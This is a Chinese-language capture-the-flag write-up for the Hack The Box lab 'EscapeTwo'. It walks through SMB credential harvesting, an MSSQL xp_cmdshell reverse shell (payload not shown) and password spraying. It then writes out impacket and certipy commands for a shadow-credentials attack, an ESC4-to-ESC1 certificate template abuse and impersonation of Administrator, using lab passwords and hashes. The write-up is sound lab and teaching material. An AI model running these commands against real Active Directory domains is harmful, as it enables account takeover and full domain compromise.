HTB-EscapeTwo
1 题目描述
注意给了个凭证,一开始我还漏了这个信息。
2 普通权限获取
2.1 端口扫描
注意:这里端口扫描的时候,还是不能追求速度快,毕竟不是内网,网速什么的不是很稳定。
比如,下面是我第一次扫描的结果,可以看到漏了很多信息(88端口、1433等关键端口)
1 |
nmap -sC -sV -p- --min-rate=10000 --max-retries=1 -oN escapeTwo.nmap -v -Pn 10.129.232.128 |
2.2 SMB信息枚举
找到两个excel表格,拿下来读一读
可以看到,是有不少凭证的,我们拿去挨个试一下,看看哪些能用
找到一个可以利用的域用户。同时注意到,这里的sa用户很有可能是mssql的管理员账号。
至此,smb枚举利用的差不多了。接下来重点关注mssql服务。
2.3 MSSQL利用Getshell
尝试利用sa用户登录,发现成功登录,那我们常规操作一下,拿shell
1、开启xp_cmdshell以执行系统命令
2、反弹shell
注意下,这个反弹shell的payload很长,我们直接使用xp_cmdshell是执行不了的,会报错—长度限制。
这里的解决办法是使用EXEC
master..xp_cmdshell,这个没有限制长度
经过一番搜查,发现sql_svc的家目录没有什么关键的信息,且也读不了flag。然后尝试查找mssql相关的配置文件,最终找到一个密码
2.4 密码喷洒
有了密码,但是还不知道这个密码都有谁再用,于是先枚举域内用户,然后密码喷洒一下

成功拿到一个用户ryan。
直接拿shell读flag
3 提权
3.1 证书模板枚举
这里先利用普通用户ryan查看所有证书模板:
1 |
certipy-ad find \ |
发现cert publishers组的用户有对下面的这个模板有很高的权限,而且该模板的注册还不需要管理员审核。这里如果我们能控制一个用户,且该用户属于cert publishers组就好了。
3.2 影子凭证攻击
为了更好的了解我们所拥有的用户在域中的权限,以及和其他用户的关系,我们使用BloodHound来查看

发现我们的ryan用户对ca_svc用户有WriteOwner权限,也就是说我们可以将CA_SVC的拥有者设置为Ryan。
知识点说明:
1、WriteOwner权限
- 拥有对某个对象的“Write Owner”权限,意味着你可以指定谁成为该对象的新所有者
2、所有权的意义
- 所有者默认拥有修改该对象权限的能力
- 所有者可以修改对象的自主访问控制列表(DACL),也就是可以给其他人授予或拒绝对该对象的任何权限(关键!!!)
# 我们接下来利用的就是这个DACL,具体来说可以给自己授予任何其他权限,例如:
- Reset Password:重置CA_SVC的密码
- Write All Properties:修改CA_SVC的描述、电话号码、组成员身份等所有属性
- Full Control:获得对CA_SVC的完全控制权,可以修改密码,修改属性等等
影子凭证攻击:
攻击原理:
- 添加关键凭据:攻击者先在本地生成一对公私钥,然后向目标账户的
msDS-KeyCredentialLink属性中添加生成的公钥。此时攻击者获得了”代表”该账户的身份能力- 请求 Kerberos 证书: 之后,攻击者可以使用对应的私钥向 AD CS 服务请求一个 Kerberos 认证证书。这个证书证明攻击者有权代表受害者账户
- 获取 TGT:在 Kerberos 的 PKINIT 扩展认证中,攻击者使用证书向 KDC证明身份。KDC 在响应中会返回一个使用目标用户密钥加密的 AS-REP
- 获取访问权限: 最后,使用这个 TGT 可以像目标账户一样访问域内资源,从而实现对目标账户的权限提升或横向移动。同时,由于攻击者拥有证书对应的私钥,他们可以解密部分数据,但更重要的是:攻击者可以离线暴力破解这个加密数据,从而恢复出用户的 NT 哈希
1、修改ca_svc用户的拥有者是ryan
1 |
impacket-owneredit -action write -new-owner 'ryan' -target 'ca_svc' -dc-ip '10.129.232.128' 'SEQUEL.HTB/ryan:WqSZAFCysDQbGb3' 2>/dev/null |
2、配置ryan对ca_svc用户拥有完全控制权(通过修改DACL实现---这里目的是后面修改ca_svc用户的属性)
1 |
impacket-dacledit -action write -rights 'FullControl' -principal 'ryan' -target 'ca_svc' -dc-ip '10.129.232.128' 'SQUEL.HTB/ryan:WqSZAF6CysDQbGb3' 2>/dev/null |
3、影子凭证攻击---修改ca_svc用户的msDS-KeyCredentialLink属性(这里也可以直接修改用户的密码,不是一定要这种方式,权限够大,能实现的方式也多一些)
1 |
certipy-ad shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.129.232.128' |
==注意:这题上面的三条命令要连续的快速执行,否则有一个计划任务会重置这些更改,导致我们前面的修改无效,最终执行失败==
3.3 ESC4 to ESC1
也是拿到我们想要的用户了,现在开始证书相关的攻击。
1、首先检测一下易受攻击的模板,下面的命令能自动识别(经过测试,普通的域用户可以枚举所有的模板,但是不能直接执行该操作,原因暂时不清楚。)
1 |
certipy-ad find -u ca_svc@sequel.htb -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -vulnerable -stdout |
2、然后修改改模板,使其符合ESC1,能让我们利用
1 |
certipy-ad template -u ca_svc@sequel.htb -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -k -template 'DunderMifflinAuthentication' -target DC01.sequel.htb -ns 10.129.232.128 -debug |
易受 ESC1 攻击的模板具有以下配置:
- 证书模板允许请求者指定主题备用名称: 攻击者可在申请证书时,在 SAN 字段中冒充任意用户(如域管理员)。AD 在身份验证时会优先使用证书中的 SAN 身份
- 证书模板包含客户端认证等身份验证相关的 EKU: 证书能用于 Kerberos 身份验证,例如通过 PKINIT 协议获取 TGT(票据授予票据)
- 低权限用户被授予证书注册权限: 普通域用户可以直接申请这些配置有问题的证书,无需特殊审批。
- 无需管理员批准: 成功申请后直接下发
- 不需要授权签名: 攻击者在申请证书时无需额外的授权签名,降低了利用门槛和复杂性。
![]()
3、请求该证书
1 |
certipy-ad req -u ca_svc@sequel.htb -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -template 'DunderMifflinAuthentication' -upn Administrator@sequel.htb -target DC01.sequel.htb -ns 10.129.232.128 -dns 10.129.232.128 -dc-ip 10.129.232.128 |
4、利用该证书进行kerberos认证,并获取请求TGT
成功拿到管理员hash
3.4 PTH

